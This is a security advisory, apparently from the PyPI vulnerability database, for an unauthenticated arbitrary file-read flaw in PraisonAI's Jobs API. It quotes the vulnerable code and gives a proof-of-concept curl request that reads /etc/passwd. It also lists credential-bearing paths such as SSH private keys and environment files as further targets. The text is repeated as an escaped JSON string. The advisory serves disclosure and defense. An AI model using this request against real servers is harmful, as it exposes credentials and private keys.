PYSEC-2026-3516
Vulnerability from pysec - Published: 2026-07-23 11:41 - Updated: 2026-07-23 14:32Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.
Details
The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist
The executor reads the file directly:
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))
Proof of Concept
curl -X POST http://:8005/api/v1/runs \
-H "Content-Type: application/json" \
-d '{"prompt": "run", "agent_file": "/etc/passwd"}'
Server responds with contents of /etc/passwd.
Other exploitable paths:
- /proc/1/environ — environment variables, API keys
- /home//.ssh/id_rsa — SSH private keys
- /app/.env — application secrets
Impact
Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

"details": "### Summary\nAn unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.\n\n### Details\nThe `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:\n\n```python\n# src/praisonai/praisonai/jobs/models.py:29\nagent_file: Optional[str] = Field(None, description=\"Path to agents.yaml file\")\n# NO path validator, NO allowlist\n```\n\nThe executor reads the file directly:\n\n```python\n# src/praisonai/praisonai/jobs/executor.py:221\nagent_file = job.agent_file or \"agents.yaml\"\n# passed directly to yaml.safe_load(open(agent_file))\n```\n\n### Proof of Concept\n\n```bash\ncurl -X POST http://:8005/api/v1/runs \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"prompt\": \"run\", \"agent_file\": \"/etc/passwd\"}\u0027\n```\n\nServer responds with contents of `/etc/passwd`.\n\nOther exploitable paths:\n- `/proc/1/environ` \u2014 environment variables, API keys\n- `/home//.ssh/id_rsa` \u2014 SSH private keys\n- `/app/.env` \u2014 application secrets\n\n### Impact\nAny unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.",
